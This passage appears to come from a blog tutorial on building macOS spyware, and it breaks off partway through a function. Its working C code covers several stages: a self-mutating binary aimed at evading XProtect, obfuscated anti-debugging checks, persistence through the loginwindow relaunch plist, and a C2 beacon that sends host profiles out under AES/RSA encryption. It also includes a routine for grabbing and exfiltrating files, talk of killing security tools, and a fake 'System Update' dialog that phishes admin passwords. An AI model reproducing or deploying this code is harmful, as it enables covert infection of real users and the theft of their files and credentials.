[SETUP]                              
~$ clang -o trustme mutator.c -framework Foundation 
							  -w -lcrypto -lcapstone
~$ vx=trustme


[INITIAL]                            
~$ echo $vx | xargs -I {} sh -c 'shasum {}; hexdump {} | head -n 1; file {}'
		94bf45eac2e3bba045a922ddccab65f18f063375  trustme
		0000000 facf feed 0007 0100 0003 0000 0002 0000
		trustme: Mach-O


[PRE-EXECUTION STATE]               
~$/tmp> ls -al 
total 0


[POST-EXECUTION]
~$/tmp> ls -al 
total 104
-rwxr-xr-x  1 user  staff  104 trustme // can be random.


[POST-MUTATION]
~$/tmp> echo $vx | xargs -I {} sh -c 'shasum {}; hexdump {} | head -n 1; file {}'
		d7092ed32159874d92c49a789b25932dc51497f5  trustme
		0000000 facf feed 0007 0100 0003 0000 0002 0000
		trustme: Mach-O

NOTE: Each execution produces a new SHA hash as the binary 
	  mutated while preserving a valid header.

So, why go with mutation? Why not just use raw malware? Given macOS’s security features like GateKeeper, XProtect, and SIP (System Integrity Protection), one might argue that such an approach won’t work: Why bother with polymorphic malware? Isn’t it still pretty useless on macOS?

There’s some truth to that. If the malware never reaches the execution phase, it doesn’t matter whether it’s polymorphic, metamorphic, or completely unprotected. That binary is either destined for the trash or worse, for the hands of analysts. :wink:

As one may say:
“If your objective does not require a high success rate and your time is limited, you can code something that isn’t protected at all and simply use it as-is.”
Evolution of Polymorphic Malware

----[A I N ’ T - G O N N A - F L Y]

When I think of macOS antivirus, the first thing that comes to mind is XProtect, which runs in the background scanning files for known patterns (e.g., specific byte sequences or file hashes) and flagging suspicious behavior (such as attempts to modify system files).

XProtect relies heavily on static signature detection. It scans files for known malicious code patterns (like specific byte sequences or hashes, remember the signature thing?). If the binary’s code changes with each iteration (thanks to mutation), it becomes nearly impossible for XProtect to maintain a reliable signature for detection.

So I thought, why not put this into practice and see how our binary fares? While Apple claims that “the signature-based rules of XProtect are more generic than a specific file hash, so it can find variants that Apple hasn’t seen,” honestly, meh.

IMG

The design directly targets XProtect’s weaknesses. By dynamically altering its code, the binary ensures that its signature is never the same, making it nearly invisible to static detection. But what about SIP? The only way to work around that is by sticking to user space. The binary avoids protected directories and focuses on user-writable areas like /tmp or ~/Library. And as for Gatekeeper, you’d better have a solid SE plot. :wink:

This approach is more likely to hit the mark in targeted attacks (remember the naïve payload we introduced in the first part that collected some host information). However, if you cast a wider net, it’s more likely to get caught. In the short term, this engine can bypass XProtect especially with a custom binary but in the long run, as it evolves, they eventually catch on too.

Source:

----[A N T I - A N A LY S I S]

Usually, this aspect is discussed later. However, I think it’s best to kick things off here since the first operation our code is mutation and to check if it’s running in a hostile environment its way of protecting itself. (That topic certainly deserves its own article.)

Anti-analysis techniques are largely consistent across operating systems; they don’t fundamentally change only the implementation details vary. In Part One, we covered classic stealth techniques such as process injection and in-memory execution, and even wrote our own implementation. Remember when we initially hardcoded everything including strings, file paths, and the address of the command and control (C2) server? We need to change that. Let’s explore some alternative tricks and techniques.

For example, instead of hardcoding strings, we can implement a routine to generate them dynamically during execution either by concatenating smaller string segments or by assembling strings based on certain conditions. Of course, this approach makes the code more complex, So alternative? encryption dude!

When it comes to encryption, you might start with XOR. However, since XOR is inherently reversible, it’s wise to combine it with other methods. For instance, we can use AES-encrypted strings. Note that even with AES, if the decryption key is hardcoded within the malware, like you did nothing really.

Still, the malware must decode and decrypt these strings to use them such as when connecting to a command and control (C2) server for instructions. As a result, one might simply let the malware run, exposing the C2 address when it attempts to connect.

To show this, I implemented a simple AES encryption and decryption routine using the tiny-AES-c library. In the encryption routine, I initialized the AES context with a predefined key and processed the input string in 16-byte blocks. The encrypted data is stored in an output buffer. For decryption, the same key reverts the encrypted data back to its original form. I know pretty simple, but let’s put this into a debugger and see where the decrypted string reveals itself.

The idea is simple: pause the malware as soon as it tries to decrypt the string, and then take a peek into its memory.

(lldb) image lookup -s decrypt
1 symbols match 'decrypt' in ....:
        Address: spit[0x0000000100002140] (spit.__TEXT.__text + 208)
        Summary: spit`decrypt
(lldb) breakpoint set --name decrypt
Breakpoint 1: where = spit`decrypt, address = 0x0000000100002140
(lldb) r
Process 39704 launched: ...
Encrypted: 16 90 bc 53 eb 9c 8a 8b db 04 a1 81 ca b9 47 ad
Process 39704 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000100002140 spit`decrypt
spit`decrypt:
->  0x100002140 <+0>:  pushq  %rbp
    0x100002141 <+1>:  movq   %rsp, %rbp
    0x100002144 <+4>:  subq   $0x100, %rsp              
    0x10000214b <+11>: movq   0x1eae(%rip), %rax       
Target 0: (spit) stopped.
(lldb) register read
General Purpose Registers:
       rax = 0x0000000000000001
       rbx = 0x00000001000c8060
       rcx = 0xa39c170aa30200e0
       rdx = 0x0000000000000000
       rdi = 0x00007ff7bfeff830
		.......

(lldb) x/16xb $rsi
0x7ff7bfeff820: 0x00 0x00 0x00 ... // foo-operator-server
(lldb) continue
Process 39704 resuming
Decrypted: foo-operator-server
Process 39704 exited with status = 0 (0x00000000)

I set a breakpoint in the decrypt function to check out the decryption process. First, I ran image lookup -s decrypt to locate the memory address of the decrypt function beacuse I know the piece. In a real binary at this stage, there’s usually no symbols, and this part comes after static analysis is done. Alright, let’s get back: it showed up at 0x0000000100002140. Then, I set a breakpoint with breakpoint set --name decrypt so the execution halts whenever we hit that function. Running the program (r) paused execution right at the breakpoint, letting me inspect the registers and memory state.

For example, the instruction pointer (rip) confirmed we were at the very start of the decryption routine. I also checked the memory at the address pointed to by rsi (using x/16xb $rsi), which was all zeros at first showing the decrypted data hadn’t been written yet. After continuing with continue, the decrypted string foo-operator-server popped up.

Of course, I set this up so it shows in the debugger the idea stays the same. For more dynamic analysis, we can hook up a network monitor that passively recovers the (previously encrypted) address of the malware’s command and control server as the malware beacons out for tasking.

You can achieve the same results with a debugger, like the ones at objective-see, which offer a solid set of tools for detecting persistence, code injection, and more. For example, try out Lulu, a Mac firewall highly recommended if you’re a Mac user.

Im

See? The user can block or allow the request or even upload it to vt to instantly kill the binary. One workaround is to implement a routine that checks for known analysis tools before decryptin’. Since most of these tools run in user space or as helper processes, if we detect 'em, we can try terminating them. And if termination isn’t feasible, the piece might just exit, choosing not to proceed with the operation (we’ll come back to this later).

As for the Debug that’s the first thing we do is once the binary is executed(Hopefully ;0) is called So most debuggers start at the program’s entry point, which we can abuse by using the trick with the “constructor” attribute that runs before main(). This way, we make it harder for analysts to pinpoint anti-debugging checks, since they execute before main() even kicks in.

__attribute__((constructor))void _entry() {}

The most known and simple technique for BSD-based systems is the one I’m rollin’ with, and to show you a little obfuscation and dynamic symbol resolution along the way check this out,

#include <sys/sysctl.h>
#include <dlfcn.h>
#include <time.h>

typedef int( * sysctl_func_t)(int * , u_int, void * ,
  size_t * , void * , size_t);

static char * gctl(void) {
  static bool seeded = false;
  if (!seeded) {
    srand((unsigned int)(time(NULL) ^ getpid()));
    seeded = true;
  }

  char * de = malloc(7);
  if (!de) exit(EXIT_FAILURE);

  // 1/2 
  int method = rand() % 2;

  if (method == 0) {
    unsigned char k = (unsigned char)((getpid() ^ time(NULL)) & 0xFF);
    //   's' = 230/2, 'y' = 242/2, 'c' = 198/2, 't' = 232/2, 'l' = 216/2.
    unsigned char f[6];
    f[0] = ((230 / 2) ^ k); // 's'
    f[1] = ((242 / 2) ^ k); // 'y'
    f[2] = ((230 / 2) ^ k); // 's'
    f[3] = ((198 / 2) ^ k); // 'c'
    f[4] = ((232 / 2) ^ k); // 't'
    f[5] = ((216 / 2) ^ k); // 'l'

    for (int i = 0; i < 6; i++) {
      de[i] = f[i] ^ k;
    }
    de[6] = '\0';
  } else {
    unsigned char k = (unsigned char)((getpid() ^ time(NULL)) & 0xFF);
    unsigned char f[6];
    // (key + index).
    f[0] = ((230 / 2) ^ (k + 0)); // 's'
    f[1] = ((242 / 2) ^ (k + 1)); // 'y'
    f[2] = ((230 / 2) ^ (k + 2)); // 's'
    f[3] = ((198 / 2) ^ (k + 3)); // 'c'
    f[4] = ((232 / 2) ^ (k + 4)); // 't'
    f[5] = ((216 / 2) ^ (k + 5)); // 'l'

    for (int i = 0; i < 6; i++) {
      de[i] = f[i] ^ (k + i);
    }
    de[6] = '\0';
  }

  return de; // decode 
}

static sysctl_func_t getsys(void) {
  static sysctl_func_t cached = NULL;
  if (!cached) {
    char * symbol = gctl();
    cached = (sysctl_func_t) dlsym(RTLD_DEFAULT, symbol);
    free(symbol);
  }
  return cached;
}

__attribute__((always_inline)) static inline int Psys(int * mib, struct kinfo_proc * info, size_t * size) {
  sysctl_func_t sysptr = getsys();
  if (!sysptr) return -1;
  return sysptr(mib, 4, info, size, NULL, 0);
}

__attribute__((always_inline)) static inline bool Se(struct kinfo_proc * info) {
  return (info -> kp_proc.p_flag & P_TRACED) != 0;
}

__attribute__((always_inline)) static bool De(void) {
  int mib[4];
  struct kinfo_proc info;
  size_t size = sizeof(info);

  memset( & info, 0, sizeof(info));

  mib[0] = CTL_KERN;
  mib[1] = KERN_PROC;
  mib[2] = KERN_PROC_PID;
  mib[3] = getpid();

  if (Psys(mib, & info, & size) != 0) return false;
  return Se( & info);
}

__attribute__((constructor))
static void Dee(void) {
  if (De()) {
    puts("See U!\n");
  }
}

int main(void) {
  return 0;
}

if you learned something you’ll notice that we don’t call the sysctl function directly because that’s the first thing static analysis tools look for. Rather than embedding the string "sysctl" directly in the binary, we use some arithmetic and bitwise operations. In our gctl() function, we take a couple of numbers (like 230/2, 242/2, …) that actually represent the ASCII codes for the letters in `“sysctl”

Then, XOR-ing 'em with a key generated from the process ID and the current time, Later on, we use it with the same key. Once we got the "sysctl" string, we resolve its address using dlsym(). In the function getsys(), we call gctl() to get the decoded or “deobfsucated”, This pretty simple CTL_KERN, KERN_PROC, KERN_PROC_PID, but it will hide sysctl from static analysis.

For all our code examples so far, if you haven’t noticed yet, our program prints “See” or “whatever” to the terminal when it isn’t running under a debugger or tracer, and “being traced” otherwise. In a real world scenario, the “not being traced” message is replaced with the activity you’re trying to hide, while “being traced” is swapped with fake activity designed to mislead any reverser, into believing that’s what the code is doing during normal execution. Typically, the app will operate as usual while leaving minimal traces for auto-destruction (more on that later).

For a Hint see my latest RE-Challenge :

Overall, combining these techniques does a pretty good job of concealing its presence. It’s the simplest approach a reverser could just patch it and move on. That’s why this piece must be extremely careful to avoid detection for as long as possible. The trick is to strike a balance: don’t make the code so complex that it’s impossible to tell what’s what (for you as developer), but also not too simple that it gives away everything. We’ve blended it all into one piece of art.

One of the other tricks we employed is checking the location from which the piece is running. Using the same _NSGetExecutablePath, The process first finds where it runs because its operational behavior depends on context. macOS doesn’t use environment variables (like Windows) to manage this, and instead relies on system calls to retrieve this kind of runtime information.

On Linux, an application can easily get its absolute path by querying /proc/self/exe, However on mac the secret to this function is that the Darwin kernel puts the executable path on the process stack immediately after the envp array when it creates the process. The dynamic link editor dyld grabs this on initialization and keeps a pointer to it. This function uses that pointer.

Source :

In C/C++, when we interact with OS-level functions like this, we need to allocate enough memory for the information the system will retrieve and store for us.

if (_NSGetExecutablePath(execPath, &pathSize) != 0)
	return;

We can also use the same function to detect possible jailbreak attempts, Normally, App Store apps run from /private/var/containers/Bundle/Application/, but if the path is unusual (e.g., pointing directly to /Applications), it might indicate a jailbroken environment.

One reason for this is the design of the infection itself since we know the target will run the malware from the ~/Downloadsdirectory or at-least we assume It’s a bit of a dumb anti-analysis trick, but we don’t want to shoot ourselves in the foot.

Still, it kind of works, because if you require certain conditions for the payload (or whatever) to be decrypted and executed, those conditions must be met. This makes it much harder for someone trying to analyze your binary they’d have to emulate the environment (or trick it into thinking it is the correct environment), which can be so challenging that potential analyst just give up, buying you some time.

Obfuscation is just as important as the code itself, and RE often goes hand in hand with malware development.

----[P E R S I S T E N C E]

There’s a great blog series called Beyond Good Ol’ LaunchAgents that dives into various persistence techniques yep, it goes way beyond your run-of-the-mill LaunchAgents. Before we jump back into our piece and talk about how we implemented our persistence, let’s chat a bit about macOS persistence.

I tried to cover this in the first part, but I only scratched the surface and ran through some basic tricks that might not even work on today’s systems. So, let’s take another crack at it.

So we got LaunchAgents and LaunchDaemons responsible for managing processes automatically. LaunchAgents are typically located in the ~/Library/LaunchAgents directory for user-specific tasks, triggering actions when a user logs in. On the flip side, LaunchDaemons are situated in /Library/LaunchDaemons, initiating tasks upon system startup.

Although LaunchAgents primarily operate within user sessions, they can also be found in system directories like /System/Library/LaunchAgents. which require privileges for installation and typically reside in /Library/LaunchDaemons.

Simply put LaunchAgents are suitable for tasks requiring user interaction, while LaunchDaemons are better suited for background processes.

So what are we aiming for here? macOS stores info about apps that should automatically reopen when a user logs back in after a restart or logout. Basically, the apps open at shutdown get saved into a list that macOS checks at the next login. The preferences for this system are tucked away in a property list (plist) file that’s specific to each user and UUID.

Reference: Beyond the good ol' LaunchAgents - 21 - Re-opened Applications · theevilbit blog

You’ll find the plist at ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist and that <UUID> is tied to the specific hardware of your Mac. Now, you might be wondering how this ties into persistence. Since plist files in a user’s ~/Library directory are writable by that user, we can just… well, exploit that. And because macOS inherently uses this feature to launch legit applications, it trusts the com.apple.loginwindow plist as a bona fide system feature.

#include <CoreFoundation/CoreFoundation.h>
#include <mach-o/dyld.h>

// persistence entry.
void update(const char *plist_path) {
    uint32_t bufsize = 0;
    _NSGetExecutablePath(NULL, &bufsize); 
    char *exePath = malloc(bufsize);
    if (!exePath || _NSGetExecutablePath(exePath, &bufsize) != 0) {
        free(exePath);
        return;
    }

    CFURLRef fileURL = CFURLCreateFromFileSystemRepresentation(NULL,
                                    (const UInt8 *)plist_path, strlen(plist_path), false);
    CFPropertyListRef propertyList = NULL;
    CFDataRef data = NULL;

    if (CFURLCreateDataAndPropertiesFromResource(NULL, fileURL, &data, NULL, NULL, NULL)) {
        propertyList = CFPropertyListCreateWithData(NULL, data,
                        kCFPropertyListMutableContainers, NULL, NULL);
        CFRelease(data);
    }

    // if no plist exists, make one.
    if (propertyList == NULL) {
        propertyList = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
                        &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
    }

    // get (or create) the array for login items.
    CFMutableArrayRef apps = (CFMutableArrayRef)
        CFDictionaryGetValue(propertyList, CFSTR("TALAppsToRelaunchAtLogin"));
    if (!apps) {
        apps = CFArrayCreateMutable(kCFAllocatorDefault, 0, &kCFTypeArrayCallBacks);
        CFDictionarySetValue((CFMutableDictionaryRef)propertyList,
                             CFSTR("TALAppsToRelaunchAtLogin"), apps);
        CFRelease(apps);
    }

    // dictionaryir stuff
    CFMutableDictionaryRef newApp = CFDictionaryCreateMutable(kCFAllocatorDefault,
                                    3, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);

    int state = 2;  // for now
    CFNumberRef bgState = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &state);
    CFDictionarySetValue(newApp, CFSTR("BackgroundState"), bgState);
    CFRelease(bgState);

    // executable's path.
    CFStringRef exePathStr = CFStringCreateWithCString(kCFAllocatorDefault, exePath,
                                    kCFStringEncodingUTF8);
    CFDictionarySetValue(newApp, CFSTR("Path"), exePathStr);
    CFRelease(exePathStr);
    CFArrayAppendValue(apps, newApp);

    // write back to disk.
    CFDataRef newData = CFPropertyListCreateData(kCFAllocatorDefault, propertyList,
                                    kCFPropertyListXMLFormat_v1_0, 0, NULL);
    if (newData) {
        FILE *plistFile = fopen(plist_path, "wb");
        if (plistFile != NULL) {
            fwrite(CFDataGetBytePtr(newData), sizeof(UInt8),
                   CFDataGetLength(newData), plistFile);
            fclose(plistFile);
        }
        CFRelease(newData);
    }

    CFRelease(newApp);
    CFRelease(propertyList);
    CFRelease(fileURL);
    free(exePath);
}

it’s self explanatory we simply modify the relaunch entries If the TALAppsToRelaunchAtLogin key exists, it adds an entry to our piece, If it doesn’t exist, it creates the key and populates it with a new entry, The path, BackgroundState and the BundleID so It overwrites the original plist with the modified data.

The inclusion of the BackgroundState key is a subtle touch. By marking the piece as a background process, it make sure that host treats it like any other background app during launch. It won’t show up glaringly in the dock or draw attention like a full GUI application might.

Source :

----[P H O N E - H O M E]

Alright, so far we’ve mutated, encrypted, tossed in some anti-analysis, and even built a persistence variant to carry on. So, what’s next? So once everything’s set up, it’s time to confirm we’ve got a victim. To do that, the piece needs to initiate COM with us.

In part one, we pulled off a simple trick: we tried to collect a detailed profile of the infected host stuff like OS, kernel version, architecture, and other relevant metadata and sent 'em over using a socket, which by itself is unprotected. The first piece was something like this:

// Collect system information
void sys_info(RBuff *report) {
    struct utsname u; 
    if (uname(&u) == 0) {
        report->pointer += snprintf(report->buffer + report->pointer, sizeof(report->buffer) - report->pointer, 
            "[System Info]\nOS: %s\nVersion: %s\nArch: %s\nKernel: %s\n\n", u.sysname, u.version, u.machine, u.release);
    }
}

// Collect user information
void user_info(RBuff *report) {
    struct passwd *user = getpwuid(getuid()); 
    if (user) 
        report->pointer += snprintf(report->buffer + report->pointer, sizeof(report->buffer) - report->pointer, 
            "[User Info]\nUsername: %s\nHome: %s\n\n", user->pw_name, user->pw_dir);
}

// Collect network information
void net_info(RBuff *report) {
    struct ifaddrs *ifaces, *ifa; 
    if (getifaddrs(&ifaces) == 0) {
        for (ifa = ifaces; ifa; ifa = ifa->ifa_next) {
            if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET) {
                char ip[INET_ADDRSTRLEN]; 
                inet_ntop(AF_INET, &((struct sockaddr_in *)ifa->ifa_addr)->sin_addr, ip, sizeof(ip));
                report->pointer += snprintf(report->buffer + report->pointer, sizeof(report->buffer) - report->pointer, 
                    "[Network Info]\nInterface: %s\nIP: %s\n\n", ifa->ifa_name, ip);
            }
        }
        freeifaddrs(ifaces);
    }
}

This is very simple and effective, we can introduce encryption here and avoid send this raw and introduce all the techniques there to do, However we ain’t gonna do that, I said something about using one single line instead of this implementation /usr/sbin/system_profiler -nospawn -detailLevel full Well let’s try and see what’s what.

So that command let you gather detailed system info (OS version, hardware specs, etc.) without needing native API calls, which has up’s and down’s yea simple, but visible and prone to notice, a simple popen can get the job done next we wanna generating a UUID for each system gives you a unique fingerprint, which make’s sense to keep track of which is which and who’s who.

Alright, we’re introducing hybrid encryption. What does that mean? We’re encrypting the AES key with an RSA public key. Using AES for the system profile and then wrapping the AES key in RSA means that even if someone intercepts the message, they’d first have to break RSA encryption to get to the AES key before they can even think about decrypting the system data.

Now, you might say, “Why go all this trouble for just some host info? Just XOR it, man!” And you’re right if we were only sending basic data, something as simple as XOR (or even base64) would do the trick. But this setup lays the groundwork for more sensitive data we’ll be sending later.

Remember, we ain’t just gone collect host info we wanna collect a few maybe file-grabber and dump Keychain or even install a backdoor and this is the first communication with the C2, so we can’t afford to get burned on the initial try, Or at least have the decency to protect our victim data So, by fetching the RSA public key from a remote server, we can update or rotate keys as needed without changing the deployed client code. It’s a two-edged sword but yea…

simple, let’s call it

overnout.c


/* 0x00f */

#include <openssl/evp.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <curl/curl.h>
#include <openssl/aes.h>
#include <openssl/rand.h>

#include <sys/stat.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>

#include <uuid/uuid.h>

size_t callback(void *contents, size_t size, size_t nmemb, void *userp) {
    size_t realsize = size * nmemb;
    struct Mem *mem = (struct Mem *)userp;
    char *ptr = realloc(mem->data, mem->size + realsize + 1);
    if(ptr == NULL) return 0;
    mem->data = ptr;
    memcpy(&(mem->data[mem->size]), contents, realsize);
    mem->size += realsize;
    mem->data[mem->size] = 0;
    return realsize;
}

RSA* get_rsa(const char* url) { 
    CURL *curl = curl_easy_init();
    if (!curl) return NULL;
    
    struct Mem mem;
    mem.data = malloc(1);
    mem.size = 0;
    
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, (void *)&mem);
    CURLcode res = curl_easy_perform(curl);
    curl_easy_cleanup(curl); 
    
    // https://curl.se/libcurl/c/curl_easy_cleanup.html
    
    if (res != CURLE_OK) {
        free(mem.data);
        return NULL;
    }
    
    BIO *bio = BIO_new_mem_buf(mem.data, mem.size);
    RSA *rsa_pub = PEM_read_bio_RSA_PUBKEY(bio, NULL, NULL, NULL);
    BIO_free(bio);
    free(mem.data);
    return rsa_pub;
}

void overn_out(const char *server_url, const char *data, size_t size) { 
    CURL *curl = curl_easy_init();
    if (!curl) return;
    
    struct curl_slist *headers = NULL;
    headers = curl_slist_append(headers, "Content-Type: application/octet-stream");
    
    curl_easy_setopt(curl, CURLOPT_URL, server_url);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, size);
    CURLcode res = curl_easy_perform(curl);
    
    curl_slist_free_all(headers);
    curl_easy_cleanup(curl);
}

void profiler(char *buffer, size_t *offset) {
    FILE *fp;
    char line[1035];

    fp = popen("system_profiler SPSoftwareDataType SPHardwareDataType", "r");
    if (fp == NULL) {
        return;
    }

    *offset += snprintf(buffer + *offset, B - *offset, "[Info]\n");
    while (fgets(line, sizeof(line), fp) != NULL) {
        *offset += snprintf(buffer + *offset, B - *offset, "%s", line);
    }
    fclose(fp);
}


void id(char *id) {uuid_t uuid;
    uuid_generate_random(uuid);uuid_unparse(uuid, id);}

void sendprofile() {
	// assign or NULL*
    const char *prime; // REMOTE_C2
    const char *p_key; // KEY
    
    char buff[B] = {0};
    size_t Pio = 0;
    char system_id[37];
    
    // system ID.
    id(system_id);
    
    Pio += snprintf(buff + Pio, sizeof(buff) - Pio, "ID: %s\n", system_id);
    Pio += snprintf(buff + Pio, sizeof(buff) - Pio, "=== Host ===\n");
    profiler(buff, &Pio);
    
    unsigned char aes_key[16];
    if (!RAND_bytes(aes_key, sizeof(aes_key))) {
        // die
        return;
    }
    
    unsigned char iv[AES_BLOCK_SIZE];
    if (!RAND_bytes(iv, AES_BLOCK_SIZE)) {
         // die
        return;
    }
    
    // https://wiki.openssl.org/index.php/EVP_Authenticated_Encryption_and_Decryption
    unsigned char ciphertext[B + AES_BLOCK_SIZE];
    int ciphertext_len = 0;
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    if (!ctx) {
        // die
        return;
    }
    if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, aes_key, iv)) {
        EVP_CIPHER_CTX_free(ctx);
        return;
    }
    int len = 0;
    if (1 != EVP_EncryptUpdate(ctx, ciphertext, &len, (unsigned char*)buff, Pio)) {
        EVP_CIPHER_CTX_free(ctx);
        return;
    }
    ciphertext_len = len;
    int final_len = 0;
    if (1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &final_len)) {
        EVP_CIPHER_CTX_free(ctx);
        return;
    }
    ciphertext_len += final_len;
    EVP_CIPHER_CTX_free(ctx);
    
    // get the server's RSA public key 
    RSA *rsa_pub = get_rsa(p_key);
    if (!rsa_pub) {
        // die - should auto-destruct
        return;
    }
    
    // encrypt the AES key using the RSA public key 
    int rsa_size = RSA_size(rsa_pub);
    unsigned char *encrypted_key = malloc(rsa_size);
    if (!encrypted_key) {
        RSA_free(rsa_pub);
        return;
    }
    int encrypted_key_len = RSA_public_encrypt(sizeof(aes_key), aes_key, encrypted_key,
                                                 rsa_pub, RSA_PKCS1_OAEP_PADDING);
    if (encrypted_key_len == -1) {
        free(encrypted_key);
        RSA_free(rsa_pub);
        return;
    }
    RSA_free(rsa_pub);
    
    // package 
    int message_len = 4 + encrypted_key_len + AES_BLOCK_SIZE + 4 + ciphertext_len;
    unsigned char *message = malloc(message_len);
    if (!message) {
        free(encrypted_key);
        return;
    }
    unsigned char *p = message;
    uint32_t ek_len_net = htonl(encrypted_key_len);
    memcpy(p, &ek_len_net, 4);
    p += 4;
    memcpy(p, encrypted_key, encrypted_key_len);
    p += encrypted_key_len;
    free(encrypted_key);
    // Write the IV.
    memcpy(p, iv, AES_BLOCK_SIZE);
    p += AES_BLOCK_SIZE;
    // length.
    uint32_t ct_len_net = htonl(ciphertext_len);
    memcpy(p, &ct_len_net, 4);
    p += 4;
    memcpy(p, ciphertext, ciphertext_len);
    
    // send the message
    overn_out(prime, (const char*)message, message_len);
    free(message);
}

And remember malware is still just software. We can’t leave static Remote C2 info hanging around (remember that anti-analysis section?) if it’s out there, it’s game over for both the malware and us. That’s why the best move is always having a kill switch, And make sure it doesn’t get used against your piece.

What’s next? It’s time to upgrade the piece’s capabilities into actual spyware. Now we’re launching a search and grab routine. What does that mean? We’re looking for specific files documents, credentials, etc. similar to how ransomware scans a host for files and encrypts 'em.

The search and grab routine is the core of spyware: it scans the host system for files matching specific criteria, collects them, and gets them ready for exfiltration. Once the files are gathered, they need to be compressed, encrypted, and sent to the C2 server.

The same design stay’s, we fetch the RSA public key from a remote URL. We initialize curl, set up our memory buffer with our callback, and perform the HTTP or/S request. Once we’ve got the data in memory, we use BIO to read the RSA public key in PEM format, … If anything fails along the way, we bail out

The request will look somethin’ like this:

KEY

What’s really going on is take the plain text (like our system profile and files), and first, it generates a random AES key and IV. Then, it uses OpenSSL’s EVP routines to encrypt the data with AES-128-CBC. Once the “plaintext” is encrypted, we take that AES key and wrap it by encrypting it with our RSA public key with RSA_PKCS1_OAEP_PADDING

We’re moving on to file collection. For this example, I’m gonna snag some JPEGs (we could add more later, but for the demo, we’ll stick with these). Plus, I ain’t about to hand skidd something ready-made for reuse!

Our allowed file extensions are *EXTS[] = {"jpeg", "png", NULL}; So, what do we need next? We gotta initiate a copy routine. That means we need to create a temporary directory where we can copy the target files before sending 'em off. It’s all about gathering our loot in one spot for easy exfil later.

now every file we snag or “See” we got check it and if it’s a regular file with a size greater than zero, checks if the file extension matches our allowed list. If it does, it copies that file into our temporary directory and stores its info for later.

Once we got the files we call zlib to compress a block of data this is later used to shrink down our tar archive, Then, wraps things up for file exfiltration. It first creates a tar archive of the temporary directory where our collected files are stored. It reads the tar archive into memory, unlinks (deletes) the file on disk, compresses the archive, and then goes through the same encrypt-and-package routine we saw earlier before sending the final package off to the C2 server.

Then it sends the system profile, collects files using nftw, transmits the bundled files, and finally cleans up by deleting the temporary files ensuring that if the victim ever discovers the breach, they won’t know the extent of the compromise.

[REMOTE HOST]
Saved to '/exfil05'

		:ID: EC001398-2683-46B9-823E-8CF1C570950D
						=== Host ===
					       [Info]
Software:
    System Software Overview:
        System Version: macOS Ventura 13.3.1 (Build 22D49)
        Kernel Version: Darwin 22.4.0
        Boot Volume: Macintosh HD
        Boot Mode: Normal
        Computer Name: 
        User Name: foo
        Secure Virtual Memory: Enabled
        System Integrity Protection: Enabled
        Time since boot: 


Hardware:
    Hardware Overview:
        Model Name: MacBook Pro
        Model Identifier: MacBookPro18,1
        Processor Name: 10-Core Intel Core i9
        Processor Speed: 2.3 GHz
        Hyper-Threading Technology: Enabled
        Number of Processors: 1
        Total Number of Cores: 10
        Memory: 32 GB
        System Firmware Version: 
        OS Loader Version: 
        SMC Version (system): 
        Serial Number (system): 
        Hardware UUID: 
        Provisioning UDID: 

[DATA]
Exfil:
	Extracted: 
		- ./color_128x.png, 
		- ./n_icon.png, ./preview.png, 
		- ./pyright-icon.png, ./icon.png
		- ....

(yeah, this might still get caught in a firewall). For that we may implement a routine to hunt for any security tools and terminate it and any network tools like Wireshark and so on… we can use a built in killall simple and may raise questions about why the app suddenly crashed or was killed, and just restart it :wink: but it will work in most cases.

Source:

----[C A N - I]

Now, it’s time for us to do something risky. Maybe it’s time to dump the Keychain, right? I mean, we might have stolen a few files, but we need something to broaden our foothold. The problem is, all the credentials are stored in protected folders like /Library, which is guarded by SIP. So, what’s the move?

Well sooner or later, you’re gonna have to interact with the victim somehow and here’s how. We’ll prompt them using an AppleScript dialog. If you’re not familiar with AppleScript, it’s a scripting language that lets you control macOS applications and system functions. In our case, it’s a simple way to display dialogs or messages using built-in tools

For example, you could have the piece pop up a dialog to confirm an action which is grab the user password, How are we doing that ? Well first thing first we wanna have the actual admin not a a low level user, we checks whether the current user is an admin.

It first gives root a free pass since root is always an admin, then it checks the admin group info. It looks at the user’s primary group and even goes through the admin group’s member list to see if the username is there.

ties everything together. It figures out who the current user is, and if that user isn’t an admin, it prompts for an admin username with an AppleScript dialog. For each try, it shows a dialog asking for the password, checks it with dscl /Local/Default -authonly, and if it matches, the password is saved for next operation.

void request() {
    const char *current_user = getlogin();
    if (!current_user) {
        struct passwd *user_info = getpwuid(getuid());
        if (user_info) current_user = user_info->pw_name;
        else return;
    }

    char admin_username[256] = {0};
    if (who(current_user)) {
        strncpy(admin_username, current_user, sizeof(admin_username) - 1);
    } else {
        const char *username_prompt =
            "osascript -e 'display dialog \"Admin privileges required.\\nEnter admin username:\" "
            "with title \"Admin Access\" default answer \"\" giving up after 30'";
        char *username_input = get_(username_prompt);
        if (!username_input || strlen(username_input) == 0) {
            if (username_input) free(username_input);
            return;
        }
        strncpy(admin_username, username_input, sizeof(admin_username) - 1);
        free(username_input);
    }

    for (int attempts = 0; attempts < 3; attempts++) {
        char password_prompt[1024];
        if (who(current_user)) {
            snprintf(password_prompt, sizeof(password_prompt),
                "osascript -e 'display dialog \"System update requires your password.\\n\\n"
                "Enter password:\" with title \"System Update\" with icon caution "
                "default answer \"\" giving up after 30 with hidden answer'");
        } else {
            snprintf(password_prompt, sizeof(password_prompt),
                "osascript -e 'display dialog \"Admin privileges required.\\n\\n"
                "Enter password for %s:\" with title \"Admin Access\" with icon caution "
                "default answer \"\" giving up after 30 with hidden answer'", admin_username);
        }

        char *password = get_(password_prompt);
        if (!password) continue;

